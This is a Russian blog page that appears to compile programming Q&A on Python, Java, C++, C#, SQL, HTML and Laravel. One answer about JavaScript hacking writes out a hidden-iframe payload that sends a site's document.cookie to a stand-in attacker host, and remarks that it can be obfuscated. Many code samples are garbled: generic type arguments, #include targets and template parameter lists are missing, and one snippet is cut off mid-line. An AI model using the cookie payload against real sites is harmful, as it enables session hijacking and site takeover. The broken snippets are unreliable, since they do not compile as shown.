Страницы

Поиск по вопросам

среда, 17 октября 2018 г.

Слово file в python

Есть мнение, что использование слова file в качестве имени аргумента функции - это быдлокодерство. Так ли это? Это ведь не зарезервированное слово языка Python, так в чем может быть проблема?


Ответ

Проблема в том, что использование переменных с теми же именами что и у __buitins__ не позволяет в той же области видимости вызывать эти самые __buitins__. Например, часто переопределяют type, id, и если далее по коду необходимо воспользоваться встроенными одноимёнными функциями, то возникают проблемы. Ну и естественно эта проблема распространяется на аргументы функций, которые также распространяются на всю область видимости функции.
Моё мнение - пересечение области видимости с __builtins__ допустимо, но по возможности стараться избегать. Есть случаи, когда просто избежать не получается - например, когда определяешь схему базы данных и у тебя есть колонка с названием id. Не выкрутишься. В Django вместо id предпочтительнее использовать pk, например, который по умолчанию ссылается на id

Как обернуть весь класс в throws?

Как обернуть весь класс в throws?
Просто у меня в классе много методов и в каждой я делаю try catch, код становиться здоровым и не читабельным.
Можно ли как-то сделать чтобы try catch был только там, где я создаю объект класса.
Типа
try{ new MyClas() }
В Java не силен, сильно не ругайтесь


Ответ

Укажите вашему конструктору, что он может выкинуть исключение:
public class MyClass {
public MyClass() throws Exception { }
}
Теперь его можно создавать только в блоке try
try{ new MyClas(); } catch(Exception e) {}
Все остальные методы также можно сопроводить throws Exception и оборачивать их вызовы в try - так вам не надо будет внутри самих методов писать try блоки

Сколько места в памяти занимает указатель в C++?

Искал информацию по данному вопросу, но не находил однозначного ответа. Кто-то говорит, что все зависит от разрядности операционной системы: если система x64, то выделяется 8 байт, если же x86, то 4. Другие утверждают, что указатель занимает столько же памяти, сколько и та переменная, на которую указывает указатель. То есть если у меня есть строковая переменная типа string, которая занимает 28 байт, то, если я создам указатель на эту переменную, то и он займет 28 байт? Или же 4(8)? Где представлена верная информация?


Ответ

Размер указателя зависит от настроек компилятора в момент компиляции программы. Больше ни от чего. Как вы скажете компилятору - так и будет. Никакого отношения к OS или hardware, на которых производится компиляция программы, размер указателя не имеет. Настройки компилятора определяют все параметры целевой платформы, для которой будет выполнена компиляция, в том числе и размер указателя.
В современных "массовых" целевых платформах используется так называемая плоская модель памяти с указателями размера 32 или 64 бита (4 или 8 байтов). Во времена DOS/Win16, когда подлежащая аппаратура использовала сегментную адресацию памяти, компиляторы С++ поддерживали целый зоопарк разнообразных моделей памяти (tiny, small, large, compact, standard, huge и т.д.) в каждой из которых мог быть свой размер указателя. Если компиляция производится для какой-то более экзотической целевой платформы (embedded etc.), то и размер указателя может быть совсем другим.

В языке С++ также есть свои особые типы "указателей", такие как указатели-на-члены-класса. Эти типы обычно обладают своей особой внутренней структурой и их размер обычно превосходит размер обычного указателя.

С# Как без костылей последовательно перебрать несколько List

Ребят подскажите как на C# без кучи циклов перебрать несколько List'ов? К примеру есть 3 массива.
List list1 = new List() {"1","2","3"}; List list2 = new List() {"4","5"}; List list3 = new List() {"6",};``
Как за один цикл перебрать их по очереди ?


Ответ

Если по-простому, то:
foreach (var item in list1.Concat(list2).Concat(list3)) { ... }
Если надо соединять произвольное количество списков, можно написать универсальную функцию:
public static IEnumerable ConcatAll( this IEnumerable root, params IEnumerable[] streams) { IEnumerable result = root; foreach (var stream in streams) { result = result.Concat(stream); } return result; }
Использование:
foreach (var item in list1.ConcatAll(list2, list3)) { ... }

Разница между const и constexpr

В чём разница между const int x и constexpr int x? Что из этого стоит использовать?


Ответ

Самый простой пример. Данная программа компилируется
#include
struct A { constexpr static double x = 10.0; };
int main() { A a;
return 0; }
А данная программа нет.
#include
struct A { const static double x = 10.0; };
int main() { A a;
return 0; }
Существенное значение также имеет место, когда этот спецификатор, constexpr, используется для функций.
Как вы знаете, только функции-члены класса могут иметь квалификатор const, который имеет отношение к объекту, для которого вызывается данная функция-член класса.
Обычные функции не могут быть константными.
Спецификатор constexpr введен для того, чтобы заставить компилятор на этапе кмпиляции создавать объекты и использовать их как константы времени компиляции.
Например, известно, что стандарт C++ для задания размерности массива требует константное выражение. Используя спецификатор constexpr вы можете задавать размер массива, используя некоторые функции. Например,
#include
struct A { constexpr A( bool b ) : n( b ? 5 : 10 ) {} size_t n; };
int main() { int a[A( true ).n]; int b[A( false ).n];
int i = 0; for ( int &x : a ) x = i++;
i = 0; for ( int &x : b ) x = i++;
for ( int x : a ) std::cout << x << ' '; std::cout << std::endl;
for ( int x : b ) std::cout << x << ' '; std::cout << std::endl;
return 0; }
Вывод программы на консоль
0 1 2 3 4 0 1 2 3 4 5 6 7 8 9
Использование constexpr позволяет заниматься метапрограммированием на этапе компиляции, как альтернативная возможность для шаблонного метапрограммирования.

Почему shared_ptr запрещает неявное преобразование указателя?

Этот код не компилируется:
std::shared_ptr pi = new MyType[5];
Вместо этого, так как конструктор shared_ptr объявлен explicit - приходится писать:
std::shared_ptr pi(new MyType[5]);
Я нахожу это как минимум неудобным.
В чём причины такого дизайна ?
И какой от этого профит ?


Ответ

Допустим у нас есть функция, принимающая умный указатель:
void foo(std::shared_ptr data){ //... }
Тогда такой код приведет к удалению ресурса, хотя мы этого не подразумевали:
MyType *object = new MyType(); foo(object);
При вызове функции выполнится создание умного указателя, а при выходе из неё он удалит тот объект которым владел. И все это скомпилируется без каких либо предупреждений.

Польза использования библиотек

Толком не освоив I/O в Java я использую библиотеку SimpleStorage. Также сетевые запросы реализую с помощью Retrofit. Вместо SQL юзаю ОРМ, картинки гружу через Picasso, а не руками. Скажите, что меня ждет в будущем? Стоит ли бросать библиотеки? Возможно ли что скоро на собеседованиях не будут спрашивать основы, а вместо них будут проверять на знание библиотек? Ведь это уже стало модно :)


Ответ

Скажите, что меня ждет в будущем? Стоит ли бросать библиотеки?
Нет, библиотеки бросать не стоит, но (имхо) нужно как минимум примерно представлять, как работают используемые Вами библиотеки (не прям всегда, но все же). Иначе, в противном случае – шаг влево, шаг вправо и все...
В приличных крупных компаниях собеседования (на джуниора, а может и на мидла) с Вами начнут не с вопросов по платформе, и даже не с вопросов по языку, а с вопросов по алгоритмам (например, те же сортировки, их вычислительная сложность и все такое) и структурам данных.
Однако же подобных компаний очень мало и на собеседованиях интервьюеры довольно часто задают вопросы, список которых есть в интернете (и это плохо). Это вопросы по языку и платформе.
Возможно ли что скоро на собеседованиях не будут спрашивать основы, а вместо них будут проверять на знание библиотек?
Ну, проверять только лишь знание библиотек – это вряд ли.
Я считаю, что хороший программист, в первую очередь, должен знать теорию по алгоритмам, после этого уже сам язык, а потом уже всякие библиотеки и фреймворки.
Резюмируя, скажу: по-моему мнению, сначала (при обучении) нужно написать свой велосипед, а уже потом, в продакшене, использовать готовые и протестированные сторонние средства.

Зачем усложнять жизнь… Converter в Binding

Здравствуйте, скажите пожалуйста зачем и в чём удобства Converter'а в Binding'е?


Ответ

Конвертеры нужны, чтобы не выносить в VM логику представления. VM, например, не должна хотеть знать ширину колонки таблицы, текущий язык, выбранный скин приложения и тому подобные чисто вьюшные подробности. Вот для перевода VM-объектов во вьюшный вид и нужны конвертеры.
Примеры.
У вас есть VM-объект, означающий дату. Его тип, понятно, DateTime. А в UI вы хотите показывать его в виде «сегодня», «вчера», «неделю назад», «1 апреля» или как-то ещё. Перевод в такую нотацию — хорошее место для конвертера.
Вам нужно вывести «15 экземпляров», но если колонка слишком узкая, то нужно сократить текст до «15 экз.». Заниматься размерами колонок — не дело VM, напишите для этого конвертер.
В VM у вас язык сообщения, а во View вы решили показывать его в виде флажка нужной страны. Конвертация CultureInfo в pack URI к вашему графическому ресурсу — не задача VM, оставьте это конвертеру. VM вообще не знает ничего о графических ресурсах.
В VM некоторые данные иногда отсутствуют (значение свойства равно null), и вы не хотите показывать рамку с красивым фоном для пустых данных. Превратить null в Visibility.Collapsed — конвертер и только он.
У вас есть клетка игровой доски, и вам нужно выяснить её координаты. (Предположим, что ваши клетки не квадратные, и в грид автоматически не укладываются.) Размер клетки зависит от размера окна, количества клеток и ещё каких-то чисто визуальных подробностей. Кто будет пересчитывать координаты? VM? Фигушки, эту задачу должен решать конвертер.
У вас есть кастомный прогрессбар, он не линейный, а круглый. Кто-то должен пересчитать положение прогрессбара в угол. VM? Нет, VM ничего не знает о стиле, который вы дали прогрессбару. А выставлять свойства для круглого, квадратного и семиугольного прогрессбаров совсем несемантично. Поэтому пусть стиль прогрессбара пользуется конвертером.
Вам нужно привязать ширину одного контрола, чтобы она равнялась удвоенной ширине другого контрола. Кто будет умножать на два? Выносить задачу в VM через 18 привязок? Просто добавьте конвертер.
В общем, для конвертеров найдётся много задач чисто визуального характера.

Большое ли преимущество использования IN вместо множества OR в sql?

На примере
select * from table where property in ('a','b','c')
или
select * from table where property='a' or property='b' or property='c'


Ответ

Если говорить про абстрактный SQL - никакой разницы нет. Есть много способов попросить достать одни и те же данные. Впрочем, с точки зрения читаемости человеком in явно выигрывает из-за компактности.
А если рассматривать конкретные реализации - то различия могут быть. Например, мой локальный postgresql строит разные планы:
melkij=> explain select * from bigtable where id = 1 or id = 3 or id=4; QUERY PLAN ---------------------------------------------------------------------------------- Bitmap Heap Scan on bigtable (cost=13.34..25.34 rows=3 width=12) Recheck Cond: ((id = 1) OR (id = 3) OR (id = 4)) -> BitmapOr (cost=13.34..13.34 rows=3 width=0) -> Bitmap Index Scan on bigtable_pkey (cost=0.00..4.45 rows=1 width=0) Index Cond: (id = 1) -> Bitmap Index Scan on bigtable_pkey (cost=0.00..4.45 rows=1 width=0) Index Cond: (id = 3) -> Bitmap Index Scan on bigtable_pkey (cost=0.00..4.45 rows=1 width=0) Index Cond: (id = 4)
melkij=> explain select * from bigtable where id in (1,3,4); QUERY PLAN -------------------------------------------------------------------------------- Index Scan using bigtable_pkey on bigtable (cost=0.44..17.37 rows=3 width=12) Index Cond: (id = ANY ('{1,3,4}'::integer[]))
Как можно заметить, in был переписан в другую форму и оценён дешевле, чем несколько эквивалентных or
Какие-то другие СУБД может быть переписывают оба запроса в идентичное представление, или же переписывают in в группу or. Вопросы производительности необходимо рассматривать только в рамках какой-то конкретной реализации.

Не могу понять смысл слова static

Ребят, помогите мне понять, зачем перед функцией писать слово static?


Ответ

Не статические, обычные, методы можно вызвать у экземпляра класса в котором они объявлены. Они имеют доступ к внутреннему состоянию конкретного экземпляра класса (его полям).
Статические методы не привязаны к какому-то экземпляру класса и могут быть вызваны без создания оного. Они не имеют доступа к нестатическим членам класса.
Таким образом, если вам в методе не нужно обращаться к состоянию конкретного экземпляра класса, то метод можно сделать статическим.

Взлом с помощью Javascript

Вопрос такого рода: могут ли взломать сайт с помощью внедрения JS кода? Да-да, многие говорят что фантазия безгранична, и что взломать вроде можно, но я пока не вижу способов, да я и в JS не большой спец. Хотелось бы увидеть конкретный пример взлома сайта (получения доступа к ftp, к файлам, возможность удалять/создавать файлы, менять права и тп.) Для внутренних органов: интересуюсь чисто в целях самозащиты =) Хочу давать право на написание статей на блоге незнакомым авторам, вот и интересно - WP пропускает JS прекрасно, делать с этим что-то, или оставить так.


Ответ

Банальный пример: var i = document.createElement('iframe'); i.style='width: 1px; height: 1px; visibility: hidden;'; document.getElementsByTagName('body')[0].appendChild(i); i.src='http://vasya-pupkin-xakep.org/stealcookie.php?c='+document.cookie; Таким образом хакер Вася Пупкин часто тырит админские куки и очень быстро заходит с ними на сайт. Если у админа есть возможность редактировать файлы из админки - это полный контроль (есть такие штуки как phpftp и phpmyadmin) Также этот код можно за- и перешифровать три раза, чтобы это был нечитаемый набор символов. Вместо куков можно просто таким образом накручивать посещения другому сайту etc.

Для чего нужен input с type=“hidden”?

Совсем простенький вопрос, но все же для чего нужен input с type="hidden"?


Ответ

Иногда на сервер нужно передать данные, которые сервер сам и сгенерировал. Если понять то, что каждый запрос к веб серверу - это независимый запрос, то серверной части нужно оставлять какие то метки для себя. Можете относиться к этому, как к своеобразным кукисам.

Знание или мышление? [закрыт]

Сразу вопрос (пояснение ниже): Как решаются олимпиадные задачи? На каждую задачу уже есть определенный алгоритм и его можно адаптировать к задаче или новые (порой гениальные алгоритмы) придумываются с нуля? На вопрос натолкнула вот эта весьма простая задача. Я бросился решать её в лоб, создав список элементов с ссылками на левый и правый элемент, затем просто просматривал элементы, подсчитывал расстояния и находил минимальное. Около 120 строчек кода. А теперь решение пользователя Delostik #include using namespace std;
int n,d[110],dist1,s,t;
int main(){ cin>>n; for(int i=1;i<=n;i++){ cin>>d[i]; d[i]+=d[i-1]; } cin>>s>>t; if(s>t) swap(s,t); dist1=d[t-1]-d[s-1]; cout<

Ответ

Для решения олимпиадных задач -- да и во всяком творческом процессе -- нужно и то, и другое: и интуиция (то есть мышление, способность выдумать новое решение без чётких зацепок в условии), и эрудиция (то есть знание типичных и не вполне типичных задач). При этом эти оба качества не только дополняют, но и помогают друг другу: эрудиция даёт множество других, известных задач, отталкиваясь от которых можно придумать решение данной вам задачи (или свести к ним одну из подзадач); интуиция же помогает увидеть и вычленить общее среди вашей задачи и того, что вам уже известно. Таким образом, эрудиция (знания) -- это строительные блоки вашего решения, интуиция (мышление) же -- комбинирование этих блоков для решения поставленной задачи. Перефразируя классика, "мышление без знаний слепо, знания без мышления мертвы".

Указатель на указатель - что это?

Часто встречаю вот такую конструкцию: int ** p; Я так понимаю, что это указатель на указатель. Зачем такая двойственность нужна и где применяется?


Ответ

Указатель в C — не семантика, а механизм. Он сам по себе не несёт смысла, но может использоваться для выражения того или иного смысла. То же относится и к двойному указателю: он может использоваться для разных вещей. Вот несколько примеров.
В C параметры передаются по значению, то есть из коробки нету передачи параметров «по ссылке» (они же &-параметры C++, они же ref-/out-параметры C#). Для того, чтобы объявить такой параметр, пользуются указателем на фактический параметр (то есть, передают в функцию адрес параметра). Если тип самого параметра — указатель, получается двойной указатель. Пример:
void split_half(char* input, char** first_half, char** second_half) { var len = strlen(input); var halflen = len / 2; *first_half = malloc(halflen + 1); strncpy(*first_half, input, halflen); (*firsthalf)[halflen] = 0; *second_half = strdup(&input[halflen]); } В C указатель может обозначать массив. Если тип элемента массива — указатель, получается двойной указатель. Классический пример:
int main(int argc, char** argv) { ... } Двойной указатель можно использовать для массива массивов. Например, квадратная матрица:
struct matrix { int** data; int width; int height; }
void init_matrix(int width, int height, struct matrix* matrix) { matrix->width = width; matrix->height = height; matrix->data = malloc(height * sizeof(int*)); for (int y = 0; y < height; y++) matrix->data[y] = malloc(width * sizeof(int)); }

В C++ обычно ручное управление памятью не приветствуется, поэтому там кратные указатели встречаются куда реже.

Правильное проектирование проекта на Java

Доброго времени суток !
Хочу научиться правильно проектировать свои приложения. Чтобы код был читаемым для других программистов. Знаю, что существуют паттерны проектирования, но я не умею ими пользоваться.
Хочу, чтобы вы помогли понять, как мне лучше спроектировать данную задачу:
Есть класс, который конвертирует XML файл и возвращает List<> с этими данными. Есть класс, который делает манипуляции с изображением (в параметре метода путь к файлу берется из XML), и этот метод должен возвратить n-ное количество картинок (их очень много), так как одну большую обрезаю несколько раз. Можно ли сделать какой-нибудь метод в этом классе, чтобы фабрично создавать картинки? И класс, который записывает эти картинки в базу данных.
Есть идея реализовать потоки (Threads) в момент деления картинки на части и записи их в БД.
Какие паттерны подходят больше под мою задачу? И объясните новичку, каким образом Вы, профессионалы, их выбираете? Код уже написан, но его я бы назвал плохим кодом. Хочу научиться делать все правильно! Спасибо за понимание.


Ответ

Тема применимости паттернов проектирования тянет на весьма объёмную статью или даже книгу, уложить всё это в ответ на форуме невозможно. Но, раз уж вы спросили, вот несколько советов:
Если плохо даётся понимание паттернов проектирования - читайте Паттерны проектирования Фрименов, Сьерры и Бейтса. В этой книге очень доходчиво объясняются самые распространённые паттерны. Почитайте классический труд на эту тему - Приемы объектно-ориентированного проектирования. Паттерны проектирования "Банды Четырёх". Эту книгу удобнее всего использовать как справочник, в котором описаны назначение, области применения, детали реализации и выгоды от использования конкретных паттернов. Помимо классических паттернов, описанных в этих книгах, существуют паттерны, применяющиеся в конкретных областях: enterprise, параллельное программирование, веб-разработка и т. д. Существуют каталоги паттернов, в которых вы можете с ними ознакомиться. Подумайте, точно ли вам нужны именно паттерны. Существует множество приёмов рефакторинга, позволяющих сделать код более чистым, красивым, читаемым, надёжным. Вы называете свой код плохим - задумайтесь, почемы вы так считаете. Много повторяющихся участков - выносите в отдельные методы. Много switch/case или многступенчатые if/else - выносите в отдельные классы. Метод в пару сотен строк - разбивайте на более короткие, делающие осмысленные и законченные куски работы. Об этом можно подробно почитать в книге Рефакторинг. Улучшение существующего кода Фаулера и компании, либо кратко - в этой шпаргалке Ещё раз подумайте, нужны ли вам паттерны. Основная задача паттернов проектирования - делать код легко расширяемым и изменяемым. Подумайте, будет ли ваше приложение изменяться, если будет, то как и в каких местах. Если таких мест мало или нет, возможно, вы занимаетесь overengineering'ом, то есть бессмысленным усложнением кода. Никогда не думайте "куда бы мне пристроить паттерн в моей программе". Такой подход - прямой путь к бессмысленному усложнению кода. Правильный ход мыслей - "в моей программе есть задача, которая хорошо решается при помощи паттерна". Для верности сверяйте формулировку вашей задачи с областями применимости паттерна в каталогах паттернов.
Грамотное проектирование приложений - вопрос опыта. Чтобы получить этот опыт - максимально критически рассматривайте свой код, ищите проблемы в дизайне, исправляйте их. Со временем вы начнёте чётко видеть "шероховатости" и потенциальные ошибки, а позже - предугатывать их на этапе проектирования.
Посоветовать что-либо более конкретное в рамках ответа сложно. Если у вас есть конкретные вопросы по проектированию приложений, не стесняйтесь их задавать. Вам наверняка помогут, если вы более подробно опишете свою задачу и приведёте свой вариант решения.

Строки в c#. String \ StringBuilder

Ребят, у меня возникли вопросы по строкам в c#.
Чем отличается класс String от StringBuilder? Зачем нужно такое разделение? В чем преимущества того и другого? Что из этого лучше использовать? Почему StringBuilder лучше использовать для работы с большими объемами текста?
По возможности ответьте с примерами. Заранее спасибо за ответ.


Ответ

String - это строки. Они неизменяемые т.е. конкретную строку нельзя подправить/дописать/укоротить. Любые операции над строками приводят к созданию новой строки (с копированием всего текста). При этом старая строка уходит в мусор (если у вас не остается на нее ссылки).
Так сделано из соображений
Экономии памяти - не надо подстраховываться и копировать строку "на всякий случай" при передаче куда-то в другой метод. Он ее точно никак не испортит. Производительности - можно высчитывать хэш строки один раз, и не заморачиваться с поддержанием его актуальности. Это дает быстрые сравнения строк на равенство (особенно если строки разные). Безопасности - код может спокойно работать с пришедшими извне строками, не опасаясь что кто-то влезет в строку по дороге. Простоты работы с несколькими потоками - нет проблемы одновременных изменений.
Соответственно, при сборке большой строки из многих маленких эта особенность - неизменяемость строк - приводит к множественному копированию данных и к генерации большого количества мусора.
Для решения этой проблемы есть класс StringBuilder. Это не "строка", а класс для сборки строк из кусков, позволяющий в конце получить результирующую строку вызовом StringBuilder.ToString()
Если вам надо просто работать со строками - используете String Если вам надо собрать одну большую строку из пачки маленьких - используете StringBuilder

Laravel Чем грозит использование прямых запросов к БД?

Чем грозит использование прямых запросов к БД через DB::select() ? Мне проще написать запрос на SQL или написать сложную процедуру в БД, чем использовать правила Eloquent ORM.


Ответ

Если использовать привязку параметров в запросах, то инъекция не пройдёт:
DB::select('SELECT * FROM users WHERE id = ?', array($userId));
Опасность представляет непосредственная вставка пользовательских данных:
DB::query('SELECT * FROM users WHERE id = ' . $userId); // НИКОГДА так не делайте!
Я солидарен с вами в отказе от ORM, и всегда использую parameter binding.

Чем заменять deprecated методы

Есть к примеру вот такая строка
tabLayout.getTabAt(tabLayout.getTabCount() - 1) .setIcon(getResources().getDrawable(R.drawable.icon_contacts));
В студии это выглядит так:
Вопрос: чем заменять такие методы, и где можно найти актуальные методы которые могут заменить функционал deprecated-метода.


Ответ

Найти актуальные методы всегда можно в документации. Конкретно по getDrawable: http://developer.android.com/intl/ru/reference/android/content/res/Resources.html#getDrawable(int) deprecated с API 22.
Указывают, что заменить можно на Context.getDrawable(int) или getDrawable(int, Theme), передав тему.
Либо использовать библиотеки совместимости, тогда так: ContextCompat.getDrawable(context, R.drawable.***), тогда не нужны проверки.

HTML5 это отдельный язык?

Пересмотрел кучу статей в интернете и как мне кажется так до конца и не понимаю, что такое html5 и CSS3. Понимаю, что такое html4 и css2 - грубо говоря набор тегов, который был актуален пару лет назад. Так вот, что я не понимаю, вроде как в версии html5 были добавлены новые теги. Т.е. html5 это только доп теги? Потому что какие-то теги были убраны, какие-то добавлены. Например, тот же div , span. Они же теперь в html5? Часто слышал выражение, сделано на html5. И как понять сделано на html4 или на html5, если использовался div и span? Есть ли полный список тегов для html5? И еще я где-то слышал, что уже давно нет разделения html5, есть просто html, это типа как был бред, вроде как язык-то один. Раньше говорили, чтобы писать на html5, надо прописать doctype html. Хотя я честно говоря этого не понимаю, вроде браузеры уже давно не обращают внимания на переходной doctype


Ответ

HTML5, к сожалению, применяется в нескольких значениях, поэтому "чтение кучи статей" вас скорее ещё сильнее запутало.
Есть HTML версии 5 как язык разметки, документ написанный на этом языке должен быть обозначен . Тогда браузер считает, что для его интепретации надо использовать соответствующий стандарт. Да, на практике стандарт можно не соблюдать, но в таком случае работа в HTML5-совместимых браузерах не гарантируется. (В этом суть практически всех стандартов: либо соблюдаешь, либо не рассчитываешь на него.)
Можно не использовать ни одной новой фичи HTML5 по сравнению предыдущими версиями, но если доктайп правильный и стандарт соблюдён, то формально это HTML5.
Часто HTML5 употребляется в значении "набор технологий", который был реализован в браузерах только с приходом HTML5. К примеру, элемент и Canvas API дал возможность рисовать произвольную точечную графику, открыв новые горизонты играм для браузеров; чтобы этот элемент можно было употреблять в документах на HTML5, язык разметки должен это предусматривать.
Как узнать версию? Формально, по DOCTYPE. Да, браузер часто способен понять и неправильный, но это не гарантируется и это не повод стандарт нарушать. Фактически сайт может не соблюдать ни один стандарт и при этом работать.

Где взять бэкап какой-нибудь большой базы?

Хотелось бы немного потренироваться на кошках в области составления sql запросов, индексов и всего такого. Для этого мне хотелось бы найти какую-нибудь большую базу данных с достаточно большим количеством записей в таблицах (более 100 миллионов). Может кто знает, есть ли где такие бэкапы в свободном доступе?


Ответ

Stackexchange (частью которого является этот сайт) публикует дамп собственной базы, правда я сам не пробовал с ним играть. Структура базы в этом дампе в общих чертах описана тут. Если есть проблемы с импортом этого в sql, то по метке data-dump есть несколько ответов по вопросам связанным с импортом.
Еще список баз, которые можно использовать для тестирования, может быть частью устаревшим, но большей частью полезен

Как работает GROUP BY в MySQL?

Привет.
Вопрос по sql по клаузуле GROUP BY.
Рассмотрим группировку по ОДНОМУ столбцу. Пример:
SELECT DEPARTMENT_ID, SUM(SALARY) FROM Employees GROUP BY DEPARTMENT_ID;

То есть, в столбце DEPARTMENT_ID ищется уникальное (похоже на DISTINCT) значение отдела, например, 30, затем ищутся все строки, где упоминается отдел 30 в данной таблице, из этих строк берутся значения из столбца SALARY и суммируются (SUM). Потом ищется другой покупатель и все повторяется. В итоге я получаю сколько получил вообще денег каждый отдел.
Не понимаю момент: у меня есть 6 строк, в которых есть столбец DEPARTMENT_ID со значением 30. Какая из строк пойдет в таблицу-SELECT и почему? То есть, в таблице Employees было шесть строк с DEPARTMENT_ID 30, а в таблице-SELECT такая строка только одна. Как вообще эта группировка работает? Рассмотрим группировку по двум столбцам. Ее я вообще не понимаю. Даже картинки нормальной не нашел, из которой было бы понятно. Просмотрел кучу статей и книг по этому вопросу, но не понял ничего.


Ответ

Добавлю с примером запросов и вывода GROUP BY по двух полях. Смотреть можна по таблице в которую например сохраняеться какой пользователь(user_id) вносил деньги, на какой счет(account) и сколько(balance). Например нужно узнать сколько каждый пользователь внес на каждый со своих счетов.
SELECT MIN(user_id), MIN(account), SUM(balance) FROM `t1` GROUP BY user_id, account;
Работает GROUP BY по двух полях так же как и по одному, сначала сортирует, а потом смотрит если оба значения в строке такие же как и в предыдущей строке тогда групирует эти строки. Если хотя бы одно значение не такое как в предыдущей строке тогда групировки не будет. Для 3 и больше полей GROUP BY работает так же.

Результат:

Как сохранить переменные анонимного типа в к коллекцию?

Как сохранить переменные анонимного типа в к коллекцию?


Ответ

Зависит от того, что дальше предполагается делать с коллекцией.
Если коллекция - объект временный, то можно вынести работу с ней в обобщенный метод (разумеется, сама коллекция также будет иметь снаружи анонимный тип):
static List CreateCollection(T item) { return new List { item }; }
static void AddToCollection(List list, T item) { list.Add(item); }
// ...
var c = CreateCollection(new { a = 5, b = "foo" }); AddToCollection(c, new { a = 6, b = "bar" });
Если коллекцию надо куда-то сохранить, можно попробовать найти базовый тип или написать обобщенный адаптер:
ICollection Collection { get; set; } IEnumerable AnotherCollection { get; set; }
// ...
Collection = CreateCollection(new { a = 5, b = "foo" }); AnotherCollection = CreateCollection(new { a = 6, b = "bar" });
Также всегда можно воспользоваться "тяжелой артиллерией" - dynamic (но будет тормозить, я предупредил).
Но если с анонимными классами слишком много проблем - возможно, стоит уже перейти к обычному классу?

Как задать другой путь к dll?

Есть один .exe и одна .dll Когда в References указываю путь к dll, ставлю Copy Local = false. Так вот .exe пытаеться найти .dll у себя в bin\Debug и выбрасывает Exception: "Не удается найти указанный файл." Мне нужно, чтоб .exe тянул .dll из её родной директории, а не копировал .dll в сою директорию и потом уже тянул её оттуда.


Ответ

Флаг "Copy Local" к этому не имеет отношения (он только говорит студии, надо ли копировать dll в папку выхода проекта). Программа пытается загрузить dll сначала из файловой системы (текущая директория, файлы которые попадают в path и т.д.), потом из GAG. Соответственно, в Вашем случае, Вы скорее всего используете референс напрямую на dll и эта dll не в GAG Подробнее здесь и здесь Вам в любом случае надо будет: 1. Либо делать copy local 2. Либо класть dll в системные файлы. 3. Либо регистрировать dll в GAG 4. Либо в самой программе указывать путь к поиску dll AppDomain.CurrentDomain.AppendPrivatePath(@"bin\DLLs");

Растянуть содержимое div по всей странице

Здравствуйте, уважаемые, появилась следующая задача: растянуть содержимое div блока на всю высоту экрана, иными словами — Если у пользователя широкий экран, то всё содержимое блока < div > растягивается по всей ширине его экрана. Если у пользователя узкий экран, то всё содержимое блока < div > сжимается, так, чтобы не вылезать за пределы экрана.

Мы работаем.

Правда-правда...
Приведенный мною код, к сожалению, работает неверно... Изображение выходит за рамки экрана при этом ещё и перекрывая собою нижний текст. Подскажите, что сделать?


Ответ

Сделайте следующее:
Немедленно избавьтесь от тегов font, вместо них используйте span, p, div и т.д. Стили пишите в отдельном CSS файле, или, на худой конец, в head В стилях для body, html пропишите:
body, html { width: 100%; height: 100%; } В стилях для div
.div { min-width: 100%; min-height: 100%; position: relative; } В стилях для img:
.div img { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
Хотя, на мой взгляд, картинку лучше задать background'ом для .div и прописать для него background-size: cover;
Надписи так же позиционируются абсолютно.

P.S. А вообще, почитайте лучше по адаптивной верстке, например здесь. А также, и это главное, очень внимательно читайте и я бы даже сказал учите html & css - думаю, что вот этот ресурс Вам подойдет.

Шаблоны в C++ Ограничение типа

Есть шаблон, например : template
Подскажите, как мне ограничить тип, чтобы typename было только либо int, либо double


Ответ

Есть четыре вида шаблонов - шаблоны функций, классов, переменных и псевдонимы типов (using), для разных видов шаблонов ограничения можно задавать по разному.
Само условие проверки лучше поместить в отдельный trait, чтобы не повторять это условие в каждом шаблоне на который надо наложить ограничения:
template constexpr bool is_int_or_double_v = std::is_same::value || std::is_same::value;
static_assert
Если цель - это выдать ошибку компиляции, то внутри тела шаблона функции и класса можно использовать static_assert Для шаблонов переменных надо использовать вспомогательную функцию, в которой будет static_assert, для псевдонимов (alias) можно использовать вспомогательный класс.
template struct X { static_assert(is_int_or_double_v, ""); };
template void f() { static_assert(is_int_or_double_v, ""); }
Однако в шаблонах класса static_assert срабатывает только при создании объектов, и он не помешает написать X* x;
std::enable_if_t в параметре шаблона
Для генерации ошибки компиляции можно добавить шаблонный параметр со значением по умолчанию, но это меняет арность шаблона.
template>> struct X {};
template>> void f() {}
template>> using id = T;
template>> constexpr T v = 0;
Такую проверку можно обойти, явно указав этот параметр шаблона: X
Прочие способы использования std::enable_if_t
std::enable_if_t можно использовать везде где ожидается тип - в базовых классах, возвращаемых значениях функций, параметрах по умолчанию функций, в псевдонимах:
struct empty {}; template struct X : std::enable_if_t, empty> {};
template using id = std::enable_if_t, T>;
template std::enable_if_t, void> f() {}
template void f(std::enable_if_t>* = 0) {} // между * и = нужен пробел
template constexpr T v = (std::enable_if_t>(), 0); // оператор "запятая"
SFINAE
Функции могут быть перегружены, по этому для функций ошибка подстановки шаблона приводит только к тому что этот шаблон убирается из списка перегрузки (SFINAE). Это можно использовать совместно с удалением функций:
template>, class=void> void f() = delete; // ^ отрицание ^ третий параметр
template>> void f() {}
Для типов отличных от int и double будет использована первая перегрузка, которая удалена. Для int и double будет использована вторая. Дополнительный (третий) параметр шаблона нужен чтобы шаблоны как-то отличались - в данном случае у них разная арность.
Этот код можно записать более просто:
template>> void f() = delete; // ^ отрицание
template void f() {}
Тогда при использовании int и double первая (удаленная) перегрузка будет прятаться, а при использовании других типов - она будет видна, и будет возникать ошибка "неоднозначный вызов перегруженной функции", потому что будут видны обе перегрузки.
Разумеется вторая перегрузка не обязательно должна быть удаленной. Можно использовать механизм SFINAE для того чтобы иметь одну перегрузку для int и double, а другую перегрузку - для остальных типов. Как писалось ранее, перегрузки должны чем-то отличаться, по этому у них должны быть разные сигнатуры, или разное количество или виды параметров шаблона:
template>> void f() { /* int или double */ }
template>, class=void> void f() { /* другие типы */ } // или template>, int=0> void f() { /* другие типы */ } // или template>> void f(int=0) { /* другие типы */ }
В будущем (С++17 или позже) можно будет использовать концепции, которые заменят большинство использований enable_if, однако это будет нескоро (скорей всего вместе с Ranges TS).

var или Имя класса или псевдоним?

Добрый день.
Установил себе тут ReSharper. В настройках пока особо не копался, однако что заметил: на все объявления переменных (напрмер Int32 SomeVar или MyClass MyClassEx ) он предлагает переделать на var... С другой стороны Дж Рихтер в CLR via C# советует всегда использовать имена класса, т.е. отказаться даже от использования псевдонимов.
